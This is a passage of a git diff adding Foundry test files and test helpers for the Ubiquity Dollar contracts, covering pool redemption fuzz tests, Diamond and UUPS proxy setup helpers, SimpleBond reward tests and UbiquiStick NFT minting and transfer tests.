curveDollarPlainPool.updateMockParams(0.99e18); + collateralToken.mint(address(ubiquityPoolFacet), 100e18); + dollarToken.mint(address(user), 1e18); + // set redemption delay to delayBlocks + ubiquityPoolFacet.setRedemptionDelayBlocks(delayBlocks); + vm.stopPrank(); + vm.prank(user); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + 1e18, // Dollar amount + 0, // min Governance out + 1e17 // min collateral out + ); + vm.roll(delayBlocks); // redemption possible at delayBlocks + 1 block, before that revert + vm.expectRevert("Too soon to collect redemption"); + ubiquityPoolFacet.collectRedemption(0); + } + + /** + * @notice Fuzz Dollar redeeming scenario for Dollar price above threshold + * @param dollarPriceUsd Ubiquity Dollar token price from Curve pool (Stable coin/Ubiquity Dollar) + */ + function testRedeemDollar_FuzzDollarPriceUsdTooHigh( + uint256 dollarPriceUsd + ) public { + // Stable coin/USD ChainLink feed is mocked to $1.00 + // Redeem price threshold set up to $0.99 == 990_000 + // Fuzz Dollar price in Curve plain pool (1 Stable coin / x Dollar) + vm.assume(dollarPriceUsd > 990000999999999999); // 0.99e18 , greater than redeem threshold + vm.assume(dollarPriceUsd < 9900000000000000000); + vm.prank(admin); + curveDollarPlainPool.updateMockParams(dollarPriceUsd); + vm.prank(user); + vm.expectRevert("Dollar price too high"); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + 1e18, // Dollar amount + 0, // min Governance out + 1e18 // min collateral out + ); + } + + /** + * @notice Fuzz Dollar redeeming scenario for insufficient collateral available in pool. + * @param collateralOut Minimal collateral amount to redeem. + */ + function testRedeemDollar_FuzzInsufficientCollateralAvailable( + uint256 collateralOut + ) public { + vm.assume(collateralOut > 1e18); + vm.startPrank(admin); + curveDollarPlainPool.updateMockParams(0.99e18); + collateralToken.mint(address(ubiquityPoolFacet), 1e18); + dollarToken.mint(address(user), 1e18); + vm.stopPrank(); + vm.prank(user); + vm.expectRevert("Insufficient pool collateral"); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + 10e18, // Dollar amount + 0, // min Governance out + collateralOut // min collateral out + ); + } + + /** + * @notice Fuzz Dollar redeeming scenario for collateral slippage. + * @param collateralOut Minimal collateral amount to redeem. + */ + function testRedeemDollar_FuzzCollateralSlippage( + uint256 collateralOut + ) public { + vm.assume(collateralOut >= 1e18); + vm.startPrank(admin); + curveDollarPlainPool.updateMockParams(0.99e18); + collateralToken.mint(address(ubiquityPoolFacet), 100e18); + dollarToken.mint(address(user), 1e18); + vm.stopPrank(); + vm.prank(user); + vm.expectRevert("Collateral slippage"); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + 1e18, // Dollar amount + 0, // min Governance out + collateralOut // min collateral out + ); + } + + /** + * @notice Fuzz Dollar redeeming scenario for governance token slippage. + * @param governanceOut Minimal governance token amount to redeem. + */ + function testRedeemDollar_FuzzGovernanceAmountSlippage( + uint256 governanceOut + ) public { + vm.assume(governanceOut >= 1e18); + vm.startPrank(admin); + curveDollarPlainPool.updateMockParams(0.99e18); + collateralToken.mint(address(ubiquityPoolFacet), 100e18); + dollarToken.mint(address(user), 1e18); + vm.stopPrank(); + vm.prank(user); + vm.expectRevert("Governance slippage"); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + 1e18, // Dollar amount + governanceOut, // min Governance out + 0 // min collateral out + ); + } + + function testMintDollar_FuzzCorrectDollarAmountRedeemed( + uint256 tokenAmountToRedeem + ) public { + vm.assume(tokenAmountToRedeem < 50_000e18); + vm.startPrank(admin); + curveDollarPlainPool.updateMockParams(0.99e18); + dollarToken.mint(address(user), tokenAmountToRedeem); // make sure user has enough Dollars + collateralToken.mint(address(ubiquityPoolFacet), tokenAmountToRedeem); // make sure pool has enough collateral + uint256 dollarTokenBalanceBeforeRedeem = dollarToken.balanceOf(user); + vm.stopPrank(); + vm.prank(user); + ubiquityPoolFacet.redeemDollar( + 0, // collateral index + tokenAmountToRedeem, // Dollar amount + 0, // min Governance out + 0 // min collateral out + ); + vm.roll(3); // redemption delay set to 2 blocks + ubiquityPoolFacet.collectRedemption(0); + // balances after + assertEq( + dollarToken.balanceOf(user), + dollarTokenBalanceBeforeRedeem - tokenAmountToRedeem + ); + } +} diff --git a/packages/contracts/test/helpers/DiamondTestHelper.sol b/packages/contracts/test/helpers/DiamondTestHelper.sol new file mode 100644 index 000000000..280620591 --- /dev/null +++ b/packages/contracts/test/helpers/DiamondTestHelper.sol @@ -0,0 +1,195 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "forge-std/Test.sol"; +import "../../src/dollar/interfaces/IDiamondCut.sol"; +import "../../src/dollar/interfaces/IDiamondLoupe.sol"; + +contract DiamondTestHelper is IDiamondCut, IDiamondLoupe, Test { + uint256 private seed; + + modifier prankAs(address caller) { + vm.startPrank(caller); + _; + vm.stopPrank(); + } + + function generateAddress( + string memory _name, + bool _isContract + ) internal returns (address) { + return generateAddress(_name, _isContract, 0); + } + + function generateAddress( + string memory _name, + bool _isContract, + uint256 _eth + ) internal returns (address newAddress_) { + seed++; + newAddress_ = vm.addr(seed); + + vm.label(newAddress_, _name); + + if (_isContract) { + vm.etch(newAddress_, "Generated Contract Address"); + } + + vm.deal(newAddress_, _eth); + + return newAddress_; + } + + // remove index from bytes4[] array + function removeElement( + uint256 index, + bytes4[] memory array + ) public pure returns (bytes4[] memory) { + bytes4[] memory newArray = new bytes4[](array.length - 1); + uint256 j = 0; + for (uint256 i = 0; i < array.length; i++) { + if (i != index) { + newArray[j] = array[i]; + j += 1; + } + } + return newArray; + } + + // remove value from bytes4[] array + function removeElement( + bytes4 el, + bytes4[] memory array + ) public pure returns (bytes4[] memory) { + for (uint256 i = 0; i < array.length; i++) { + if (array[i] == el) { + return removeElement(i, array); + } + } + return array; + } + + function containsElement( + bytes4[] memory array, + bytes4 el + ) public pure returns (bool) { + for (uint256 i = 0; i < array.length; i++) { + if (array[i] == el) { + return true; + } + } + return false; + } + + function containsElement( + address[] memory array, + address el + ) public pure returns (bool) { + for (uint256 i = 0; i < array.length; i++) { + if (array[i] == el) { + return true; + } + } + return false; + } + + function sameMembers( + bytes4[] memory array1, + bytes4[] memory array2 + ) public pure returns (bool) { + if (array1.length != array2.length) { + return false; + } + for (uint256 i = 0; i < array1.length; i++) { + if (containsElement(array1, array2[i])) { + return true; + } + } + return false; + } + + function getAllSelectors( + address diamondAddress + ) public view returns (bytes4[] memory) { + Facet[] memory facetList = IDiamondLoupe(diamondAddress).facets(); + + uint256 len = 0; + for (uint256 i = 0; i < facetList.length; i++) { + len += facetList[i].functionSelectors.length; + } + + uint256 pos = 0; + bytes4[] memory selectors = new bytes4[](len); + for (uint256 i = 0; i < facetList.length; i++) { + for ( + uint256 j = 0; + j < facetList[i].functionSelectors.length; + j++ + ) { + selectors[pos] = facetList[i].functionSelectors[j]; + pos += 1; + } + } + return selectors; + } + + function compareStrings( + string memory a, + string memory b + ) public pure returns (bool) { + return (keccak256(abi.encodePacked((a))) == + keccak256(abi.encodePacked((b)))); + } + + /** + * @notice Returns array of function selectors by the provided contract's ABI path + * @dev Foundry's build output ABI files contain the "methodIdentifiers" object which + * is a "key:value" mapping of function signatures to their 4 bytes selectors. + * Example: + * "methodIdentifiers": { + * "getRoleAdmin(bytes32)": "248a9ca3", + * "grantRole(bytes32,address)": "2f2ff15d" + * } + * @param abiPath Path to ABI (relative to foundry project root) + * @return Array of selectors + */ + function getSelectorsFromAbi( + string memory abiPath + ) public view returns (bytes4[] memory) { + string memory path = string.concat(vm.projectRoot(), abiPath); + string memory abiJson = vm.readFile(path); + string[] memory keys = vm.parseJsonKeys(abiJson, "$.methodIdentifiers"); + bytes4[] memory selectorsArray = new bytes4[](keys.length); + for (uint i = 0; i < keys.length; i++) { + bytes memory selector = vm.parseJsonBytes( + abiJson, + string.concat('$.methodIdentifiers.["', keys[i], '"]') + ); + selectorsArray[i] = bytes4(selector); + } + return selectorsArray; + } + + // implement dummy override functions + function diamondCut( + FacetCut[] calldata _diamondCut, + address _init, + bytes calldata _calldata + ) external {} + + function facetAddress( + bytes4 _functionSelector + ) external view returns (address facetAddress_) {} + + function facetAddresses() + external + view + returns (address[] memory facetAddresses_) + {} + + function facetFunctionSelectors( + address _facet + ) external view returns (bytes4[] memory facetFunctionSelectors_) {} + + function facets() external view returns (Facet[] memory facets_) {} +} diff --git a/packages/contracts/test/helpers/LocalTestHelper.sol b/packages/contracts/test/helpers/LocalTestHelper.sol new file mode 100644 index 000000000..84166403e --- /dev/null +++ b/packages/contracts/test/helpers/LocalTestHelper.sol @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {DiamondTestSetup} from "../diamond/DiamondTestSetup.sol"; +import {CreditRedemptionCalculatorFacet} from "../../src/dollar/facets/CreditRedemptionCalculatorFacet.sol"; +import {CreditNftRedemptionCalculatorFacet} from "../../src/dollar/facets/CreditNftRedemptionCalculatorFacet.sol"; +import {DollarMintCalculatorFacet} from "../../src/dollar/facets/DollarMintCalculatorFacet.sol"; +import {CreditNftManagerFacet} from "../../src/dollar/facets/CreditNftManagerFacet.sol"; +import {DollarMintExcessFacet} from "../../src/dollar/facets/DollarMintExcessFacet.sol"; + +abstract contract LocalTestHelper is DiamondTestSetup { + address public constant NATIVE_ASSET = address(0); + address curve3CRVTokenAddress = address(0x101); + address public treasuryAddress = address(0x111222333); + + CreditNftRedemptionCalculatorFacet creditNftRedemptionCalculator; + CreditRedemptionCalculatorFacet creditRedemptionCalculator; + DollarMintCalculatorFacet dollarMintCalculator; + CreditNftManagerFacet creditNftManager; + DollarMintExcessFacet dollarMintExcess; + address metaPoolAddress; + + function setUp() public virtual override { + super.setUp(); + + creditNftRedemptionCalculator = creditNftRedemptionCalculationFacet; + creditRedemptionCalculator = creditRedemptionCalculationFacet; + dollarMintCalculator = dollarMintCalculatorFacet; + creditNftManager = creditNftManagerFacet; + dollarMintExcess = dollarMintExcessFacet; + + vm.startPrank(admin); + + //mint some dollar token + dollarToken.mint(address(0x1045256), 10000e18); + require( + dollarToken.balanceOf(address(0x1045256)) == 10000e18, + "dollar balance is not 10000e18" + ); + + // set treasury address + managerFacet.setTreasuryAddress(treasuryAddress); + + vm.stopPrank(); + } +} diff --git a/packages/contracts/test/helpers/UUPSTestHelper.sol b/packages/contracts/test/helpers/UUPSTestHelper.sol new file mode 100644 index 000000000..21769d096 --- /dev/null +++ b/packages/contracts/test/helpers/UUPSTestHelper.sol @@ -0,0 +1,97 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import {UbiquityGovernanceToken} from "../../src/dollar/core/UbiquityGovernanceToken.sol"; +import {UbiquityDollarToken} from "../../src/dollar/core/UbiquityDollarToken.sol"; +import {UbiquityCreditToken} from "../../src/dollar/core/UbiquityCreditToken.sol"; +import {StakingShare} from "../../src/dollar/core/StakingShare.sol"; +import {CreditNft} from "../../src/dollar/core/CreditNft.sol"; +import {ManagerFacet} from "../../src/dollar/facets/ManagerFacet.sol"; +import "../../src/dollar/libraries/Constants.sol"; +import "forge-std/Test.sol"; + +/** + * Initializes core contracts with UUPS upgradeability: + * - UbiquityDollarToken + * - UbiquityCreditToken + * - UbiquityGovernanceToken + * - CreditNft + * - StakingShare + */ +contract UUPSTestHelper { + // core contracts pointing to proxies + CreditNft creditNft; + StakingShare stakingShare; + UbiquityCreditToken creditToken; + UbiquityDollarToken dollarToken; + UbiquityGovernanceToken governanceToken; + + // proxies for core contracts + ERC1967Proxy proxyCreditNft; + ERC1967Proxy proxyStakingShare; + ERC1967Proxy proxyCreditToken; + ERC1967Proxy proxyDollarToken; + ERC1967Proxy proxyGovernanceToken; + ERC1967Proxy proxyUbiquiStick; + + /** + * Initializes core contracts with UUPS upgradeability + */ + function __setupUUPS(address diamond) public { + bytes memory initData; + string + memory uri = "https://bafybeifibz4fhk4yag5reupmgh5cdbm2oladke4zfd7ldyw7avgipocpmy.ipfs.infura-ipfs.io/"; + + // deploy CreditNft + initData = abi.encodeWithSignature("initialize(address)", diamond); + proxyCreditNft = new ERC1967Proxy(address(new CreditNft()), initData); + creditNft = CreditNft(address(proxyCreditNft)); + + // deploy StakingShare + initData = abi.encodeWithSignature( + "initialize(address,string)", + diamond, + uri + ); + proxyStakingShare = new ERC1967Proxy( + address(new StakingShare()), + initData + ); + stakingShare = StakingShare(address(proxyStakingShare)); + + // deploy UbiquityCreditToken + initData = abi.encodeWithSignature("initialize(address)", diamond); + proxyCreditToken = new ERC1967Proxy( + address(new UbiquityCreditToken()), + initData + ); + creditToken = UbiquityCreditToken(address(proxyCreditToken)); + + // deploy UbiquityDollarToken + initData = abi.encodeWithSignature("initialize(address)", diamond); + proxyDollarToken = new ERC1967Proxy( + address(new UbiquityDollarToken()), + initData + ); + dollarToken = UbiquityDollarToken(address(proxyDollarToken)); + + // deploy UbiquityGovernanceToken + initData = abi.encodeWithSignature("initialize(address)", diamond); + proxyGovernanceToken = new ERC1967Proxy( + address(new UbiquityGovernanceToken()), + initData + ); + governanceToken = UbiquityGovernanceToken( + address(proxyGovernanceToken) + ); + + // set addresses of the newly deployed contracts in the Diamond + ManagerFacet managerFacet = ManagerFacet(diamond); + managerFacet.setStakingShareAddress(address(stakingShare)); + managerFacet.setCreditTokenAddress(address(creditToken)); + managerFacet.setDollarTokenAddress(address(dollarToken)); + managerFacet.setGovernanceTokenAddress(address(governanceToken)); + managerFacet.setCreditNftAddress(address(creditNft)); + } +} diff --git a/packages/contracts/test/ubiquistick/SimpleBond.t.sol b/packages/contracts/test/ubiquistick/SimpleBond.t.sol new file mode 100644 index 000000000..4a303fe2d --- /dev/null +++ b/packages/contracts/test/ubiquistick/SimpleBond.t.sol @@ -0,0 +1,266 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +import "../../src/ubiquistick/SimpleBond.sol"; +import "../../src/ubiquistick/UbiquiStick.sol"; + +import "forge-std/Test.sol"; + +contract ZeroState is Test { + address admin; + address treasury; + address firstAccount; + address secondAccount; + + ERC20 rewardToken; + ERC20 bondToken; + ERC20 fakeToken; + UbiquiStick stick; + SimpleBond bond; + + event LogSetRewards(address token, uint256 rewardsRatio); + + event LogBond( + address addr, + address token, + uint256 amount, + uint256 rewards, + uint256 block, + uint256 bondId + ); + + event LogClaim(address addr, uint256 index, uint256 rewards); + + function setUp() public virtual { + admin = address(0x1); + treasury = address(0x2); + firstAccount = address(0x3); + secondAccount = address(0x4); + + vm.startPrank(admin); + rewardToken = new ERC20("rToken", "RT"); + bondToken = new ERC20("bToken", "BT"); + fakeToken = new ERC20("fToken", "FT"); + stick = new UbiquiStick(); + bond = new SimpleBond(address(rewardToken), 100, treasury); + vm.stopPrank(); + } +} + +contract ZeroStateTest is ZeroState { + function testSetSticker_ShouldSetSticker() public { + vm.prank(admin); + bond.setSticker(address(stick)); + assertEq(bond.sticker(), address(stick)); + } + + function testSetRewards_ShouldSetRewards(uint256 ratio) public { + vm.prank(admin); + bond.setRewards(address(bondToken), ratio); + assertEq(bond.rewardsRatio(address(bondToken)), ratio); + } + + function testSetVestingBlocks_ShouldSetVestingBlocks( + uint256 blocks + ) public { + blocks = bound(blocks, 1, 2 ** 256 - 1); + vm.prank(admin); + bond.setVestingBlocks(blocks); + assertEq(bond.vestingBlocks(), blocks); + } + + function testSetTreasury_ShouldSetTreasury() public { + vm.prank(admin); + bond.setTreasury(admin); + assertEq(bond.treasury(), admin); + } +} + +contract StickerState is ZeroState { + function setUp() public virtual override { + super.setUp(); + vm.startPrank(admin); + bond.setRewards(address(bondToken), 50); + bond.setSticker(address(stick)); + stick.safeMint(firstAccount); + stick.safeMint(secondAccount); + vm.stopPrank(); + deal(address(bondToken), firstAccount, 2 ** 256 - 1); + deal(address(bondToken), secondAccount, 2 ** 256 - 1); + } +} + +contract StickerStateTest is StickerState { + function testBond(uint256 amount) public { + amount = bound(amount, 1, 2 ** 128 - 1); + vm.startPrank(firstAccount); + bondToken.approve(address(bond), 2 ** 256 - 1); + vm.expectEmit(true, true, true, true, address(bond)); + emit LogBond( + firstAccount, + address(bondToken), + amount, + ((50 * amount) / 1e9), + block.number, + 0 + ); + bond.bond(address(bondToken), amount); + vm.stopPrank(); + assertEq(bond.bondsCount(firstAccount), 1); + (, uint256 amount_, , , ) = bond.bonds(firstAccount, 0); + assertEq(amount, amount_); + } + + function testBond_ShouldRevert_IfTokenNotAllowed() public { + vm.expectRevert("Token not allowed"); + vm.prank(secondAccount); + bond.bond(address(fakeToken), 1); + } +} + +contract BondedState is StickerState { + uint256[] firstIDs; + uint256[] secondIDs; + + function setUp() public virtual override { + super.setUp(); + + vm.startPrank(firstAccount); + bondToken.approve(address(bond), 2 ** 256 - 1); + firstIDs.push(bond.bond(address(bondToken), 1e24)); + firstIDs.push(bond.bond(address(bondToken), 1e24)); + firstIDs.push(bond.bond(address(bondToken), 1e24)); + vm.stopPrank(); + vm.startPrank(secondAccount); + bondToken.approve(address(bond), 2 ** 256 - 1); + secondIDs.push(bond.bond(address(bondToken), 1e25)); + secondIDs.push(bond.bond(address(bondToken), 1e25)); + secondIDs.push(bond.bond(address(bondToken), 1e25)); + secondIDs.push(bond.bond(address(bondToken), 1e25)); + secondIDs.push(bond.bond(address(bondToken), 1e25)); + vm.stopPrank(); + } +} + +contract BondedStateTest is BondedState { + uint256[5] amounts; + uint256[5] rewards; + uint256[5] blocks_; + + function testClaim_ShouldClaimRewards(uint256 blocks) public { + blocks = bound(blocks, 0, 2 ** 128 - 1); + uint256 preBal = rewardToken.balanceOf(firstAccount); + vm.warp(block.number + blocks); + (, uint256 amount0, , , uint256 block0) = bond.bonds(firstAccount, 0); + (, uint256 amount1, , , uint256 block1) = bond.bonds(firstAccount, 1); + (, uint256 amount2, , , uint256 block2) = bond.bonds(firstAccount, 2); + + uint256 expected; + + expected += (((amount0 * 50) / 1e9) * (block.number - block0)) / 100; + expected += (((amount1 * 50) / 1e9) * (block.number - block1)) / 100; + expected += (((amount2 * 50) / 1e9) * (block.number - block2)) / 100; + + vm.prank(firstAccount); + uint256 claimed = bond.claim(); + + assertEq(expected, claimed); + assertEq(preBal + expected, rewardToken.balanceOf(firstAccount)); + } + + function testClaimBond_ShouldEmitLogClaimAndClaimBondRewards( + uint256 blocks + ) public { + blocks = bound(blocks, 0, 2 ** 128 - 1); + vm.warp(block.number + blocks); + (, uint256 amount0, , , uint256 block0) = bond.bonds(secondAccount, 0); + uint256 expected = (((amount0 * 50) / 1e9) * (block.number - block0)) / + 100; + vm.expectEmit(true, true, true, true, address(bond)); + emit LogClaim(secondAccount, 0, expected); + vm.prank(secondAccount); + uint256 claimed = bond.claimBond(0); + assertEq(expected, claimed); + } + + function testWithdraw_ShouldWithdrawBondTokens(uint256 amount) public { + amount = bound(amount, 1, bondToken.balanceOf(address(bond))); + uint256 preBalTreasury = bondToken.balanceOf(treasury); + uint256 preBalBond = bondToken.balanceOf(address(bond)); + vm.prank(admin); + bond.withdraw(address(bondToken), amount); + assertEq(preBalTreasury + amount, bondToken.balanceOf(treasury)); + assertEq(preBalBond - amount, bondToken.balanceOf(address(bond))); + } + + function testRewardsOf_ShouldReturnRewardsOfBond(uint256 blocks) public { + blocks = bound(blocks, 0, 2 ** 128 - 1); + + vm.warp(block.number + blocks); + + for (uint256 i; i < amounts.length; ++i) { + (, uint256 amount, uint256 reward, , uint256 block_) = bond.bonds( + secondAccount, + i + ); + amounts[i] = amount; + rewards[i] = reward; + blocks_[i] = block_; + } + + uint256 rewardsExpected; + + for (uint256 i; i < rewards.length; i++) { + rewardsExpected += rewards[i]; + } + + uint256 claimableExpected; + + for (uint256 i; i < amounts.length; ++i) { + claimableExpected += + (((amounts[i] * 50) / 1e9) * (block.number - blocks_[i])) / + 100; + } + + ( + uint256 rewards_, + uint256 rewardsClaimed, + uint256 rewardsClaimable + ) = bond.rewardsOf(secondAccount); + assertEq(rewardsExpected, rewards_); + assertEq(0, rewardsClaimed); + assertEq(claimableExpected, rewardsClaimable); + } + + function testRewardsBondOf_ShouldReturnCorrectValues( + uint256 blocks, + uint256 i + ) public { + blocks = bound(blocks, 0, 2 ** 128 - 1); + i = bound(i, 0, 4); + vm.warp(block.number + blocks); + + (, uint256 amount, uint256 rewardExpected, , uint256 block_) = bond + .bonds(secondAccount, i); + + uint256 claimableExpected = (((amount * 50) / 1e9) * + (block.number - block_)) / 100; + (uint256 reward, uint256 rewardClaimed, uint256 rewardClaimable) = bond + .rewardsBondOf(secondAccount, i); + assertEq(rewardExpected, reward); + assertEq(rewardClaimed, 0); + assertEq(rewardClaimable, claimableExpected); + } + + function testBondsCount_ShouldReturnCorrectCount() public { + uint256 firstCount = bond.bondsCount(firstAccount); + uint256 secondCount = bond.bondsCount(secondAccount); + + assertEq(firstCount, firstIDs.length); + assertEq(secondCount, secondIDs.length); + } +} diff --git a/packages/contracts/test/ubiquistick/UbiquiStick.t.sol b/packages/contracts/test/ubiquistick/UbiquiStick.t.sol new file mode 100644 index 000000000..bcd62bce1 --- /dev/null +++ b/packages/contracts/test/ubiquistick/UbiquiStick.t.sol @@ -0,0 +1,387 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "forge-std/Test.sol"; +import "operator-filter-registry/OperatorFilterer.sol"; + +import "../../src/ubiquistick/UbiquiStick.sol"; + +contract UbiquiStickHarness is UbiquiStick { + function exposed_random() public view returns (uint256) { + return + uint256( + keccak256( + abi.encodePacked( + block.prevrandao, + block.timestamp, + msg.sender, + tokenIdNext + ) + ) + ); + } + + function exposed_beforeConsecutiveTokenTransfer( + address address1, + address address2, + uint256 value1, + uint96 value2 + ) public pure { + _beforeConsecutiveTokenTransfer(address1, address2, value1, value2); + } +} + +contract UbiquiStickTest is Test { + UbiquiStickHarness ubiquiStick; + + // NFT types + uint256 public constant STANDARD_TYPE = 0; + uint256 public constant GOLD_TYPE = 1; + uint256 public constant INVISIBLE_TYPE = 2; + + // mint frequency of gold type tokens + uint256 public constant GOLD_FREQ = 64; + + // test users + address minter; + address user; + + function setUp() public { + minter = address(0x01); + user = address(0x02); + + vm.prank(minter); + ubiquiStick = new UbiquiStickHarness(); + } + + function testConstructor_ShouldInitContract() public { + assertEq(ubiquiStick.minter(), minter); + } + + function testTokenURI_ShouldRevert_IfTokenDoesNotExist() public { + vm.expectRevert("Nonexistent token"); + ubiquiStick.tokenURI(0); + } + + function testTokenURI_ShouldReturnTokenURIForTokenTypeGold() public { + // set gold token URI + vm.startPrank(minter); + ubiquiStick.setTokenURI(GOLD_TYPE, "TOKEN_URI_GOLD"); + // mint gold token + // mint 57 tokens to user (needed for random() to return a gold type) + for (uint i = 1; i <= 57; i++) { + ubiquiStick.safeMint(user); + } + // with the default "block.prevrandao = 0" the 58th token is gold + ubiquiStick.safeMint(user); + + assertEq(ubiquiStick.tokenURI(58), "TOKEN_URI_GOLD"); + + vm.stopPrank(); + } + + function testTokenURI_ShouldReturnTokenURIForTokenTypeInvisible() public { + // set invisible token URI + vm.prank(minter); + ubiquiStick.setTokenURI(INVISIBLE_TYPE, "TOKEN_URI_INVISIBLE"); + // mint 42 tokens, token with id 42 is invisible + for (uint256 i = 1; i <= 42; i++) { + vm.prank(minter); + ubiquiStick.safeMint(user); + } + + assertEq(ubiquiStick.tokenURI(42), "TOKEN_URI_INVISIBLE"); + } + + function testTokenURI_ShouldReturnTokenURIForTokenTypeStandard() public { + // set invisible token URI + vm.prank(minter); + ubiquiStick.setTokenURI(STANDARD_TYPE, "TOKEN_URI_STANDARD"); + // mint 1 token + vm.prank(minter); + ubiquiStick.safeMint(user); + + assertEq(ubiquiStick.tokenURI(1), "TOKEN_URI_STANDARD"); + } + + function testSetTokenURI_ShouldRevert_IfCalledNotByMinter() public { + vm.prank(user); + vm.expectRevert("Not minter"); + ubiquiStick.setTokenURI(STANDARD_TYPE, "TOKEN_URI"); + } + + function testSetMinter_ShouldRevert_IfCalledNotByOwner() public { + vm.prank(user); + vm.expectRevert("Ownable: caller is not the owner"); + ubiquiStick.setMinter(user); + } + + function testSetMinter_ShouldUpdateMinter() public { + address newMinter = address(0x03); + vm.prank(minter); + ubiquiStick.setMinter(newMinter); + assertEq(ubiquiStick.minter(), newMinter); + } + + function testSafeMint_ShouldRevert_IfCalledNotByMinter() public { + vm.prank(user); + vm.expectRevert("Not minter"); + ubiquiStick.safeMint(user); + } + + function testSafeMint_ShouldMint() public { + vm.prank(minter); + ubiquiStick.safeMint(user); + assertEq(ubiquiStick.tokenIdNext(), 2); + assertEq(ubiquiStick.ownerOf(1), user); + } + + function testSafeMint_ShouldMintGoldToken() public { + vm.startPrank(minter); + // mint 57 tokens to user (needed for random() to return a gold type) + for (uint i = 1; i <= 57; i++) { + ubiquiStick.safeMint(user); + } + // with the default "block.prevrandao = 0" the 58th token is gold + ubiquiStick.safeMint(user); + assertEq(ubiquiStick.ownerOf(58), user); + assertEq(ubiquiStick.gold(58), true); + + vm.stopPrank(); + } + + function testBatchSafeMint_ShouldRevert_IfCalledNotByMinter() public { + vm.prank(user); + vm.expectRevert("Not minter"); + ubiquiStick.batchSafeMint(user, 2); + } + + function testBatchSafeMint_ShouldMintMultipleTokens() public { + vm.prank(minter); + ubiquiStick.batchSafeMint(user, 2); + assertEq(ubiquiStick.ownerOf(1), user); + assertEq(ubiquiStick.ownerOf(2), user); + } + + function testRandom_ShouldReturnRandomValue() public { + // by default "block.prevrandao = 0" + assertEq( + ubiquiStick.exposed_random(), + 59314673252666873280629439252894990696031209845167399747113266702537979136323 + ); + } + + function testBeforeConsecutiveTokenTransfer_ShouldRevert() public { + vm.expectRevert( + "ERC721Enumerable: consecutive transfers not supported" + ); + ubiquiStick.exposed_beforeConsecutiveTokenTransfer( + address(0), + address(0), + 0, + 0 + ); + } + + function testSupportsInterface_ShouldReturnTrue_IfInterfaceIsSupported() + public + { + assertEq( + ubiquiStick.supportsInterface(type(IERC721).interfaceId), + true + ); + } + + function testSupportsInterface_ShouldReturnFalse_IfInterfaceIsNotSupported() + public + { + assertEq(ubiquiStick.supportsInterface(bytes4(0x00000000)), false); + } + + function testSetApprovalForAll_ShouldRevert_IfOperatorIsNotAllowed() + public + { + // mock OperatorFilterer + vm.mockCall( + address(ubiquiStick.OPERATOR_FILTER_REGISTRY()), + abi.encodeWithSelector( + IOperatorFilterRegistry.isOperatorAllowed.selector + ), + abi.encode(false) + ); + // mint 1 token to minter + vm.prank(minter); + ubiquiStick.safeMint(minter); + // minter approves user to spend his tokens + vm.prank(minter); + vm.expectRevert( + abi.encodeWithSelector( + OperatorFilterer.OperatorNotAllowed.selector, + user + ) + ); + ubiquiStick.setApprovalForAll(user, true); + } + + function testSetApprovalForAll_ShouldApproveOperatorToSpendAllTokens() + public + { + // mint 1 token to minter + vm.prank(minter); + ubiquiStick.safeMint(minter); + // minter approves user to spend his tokens + vm.prank(minter); + ubiquiStick.setApprovalForAll(user, true); + + assertEq(ubiquiStick.isApprovedForAll(minter, user), true); + } + + function testApprove_ShouldRevert_IfOperatorIsNotAllowed() public { + // mock OperatorFilterer + vm.mockCall( + address(ubiquiStick.OPERATOR_FILTER_REGISTRY()), + abi.encodeWithSelector( + IOperatorFilterRegistry.isOperatorAllowed.selector + ), + abi.encode(false) + ); + + vm.prank(minter); + vm.expectRevert( + abi.encodeWithSelector( + OperatorFilterer.OperatorNotAllowed.selector, + user + ) + ); + ubiquiStick.approve(user, 1); + } + + function testApprove_ShouldApprove() public { + // mint 1 token to minter + vm.prank(minter); + ubiquiStick.safeMint(minter); + + vm.prank(minter); + ubiquiStick.approve(user, 1); + assertEq(ubiquiStick.getApproved(1), user); + } + + function testTransferFrom_ShouldRevert_IfOperatorIsNotAllowed() public { + // mint 1 token to minter + vm.prank(minter); + ubiquiStick.safeMint(minter); + // approve user to spend minter's token 1 + vm.prank(minter); + ubiquiStick.approve(user, 1); + // mock OperatorFilterer + vm.mockCall( + address(ubiquiStick.OPERATOR_FILTER_REGISTRY()), + abi.encodeWithSelector( + IOperatorFilterRegistry.isOperatorAllowed.selector + ), + abi.encode(false) + ); + + vm.prank(user); + vm.expectRevert( + abi.encodeWithSelector( + OperatorFilterer.OperatorNotAllowed.selector, + user + ) + ); + ubiquiStick.transferFrom(minter, user, 1); + } + + function testTransferFrom_ShouldTransferToken() public { + // mint 1 token to minter + vm.prank(minter); + ubiquiStick.safeMint(minter); + // approve user to spend minter's token 1 + vm.prank(minter); + ubiquiStick.approve(user, 1); + + vm.prank(user); + ubiquiStick.transferFrom(minter, user, 1); + assertEq(ubiquiStick.ownerOf(1), user); + } + + function testSafeTransferFrom_ShouldRevert_IfOperatorIsNotAllowed() public { + // mint 1 token to minter + vm.prank(minter); + ubiquiStick.safeMint(minter); + // approve user to spend minter's token 1 + vm.prank(minter); + ubiquiStick.approve(user, 1); + // mock OperatorFilterer + vm.mockCall( + address(ubiquiStick.OPERATOR_FILTER_REGISTRY()), + abi.encodeWithSelector( + IOperatorFilterRegistry.isOperatorAllowed.selector + ), + abi.encode(false) + ); + + vm.prank(user); + vm.expectRevert( + abi.encodeWithSelector( + OperatorFilterer.OperatorNotAllowed.selector, + user + ) + ); + ubiquiStick.safeTransferFrom(minter, user, 1); + } + + function testSafeTransferFrom_ShouldTransferToken() public { + // mint 1 token to minter + vm.prank(minter); + ubiquiStick.safeMint(minter); + // approve user to spend minter's token 1 + vm.prank(minter); + ubiquiStick.approve(user, 1); + + vm.prank(user); + ubiquiStick.safeTransferFrom(minter, user, 1); + 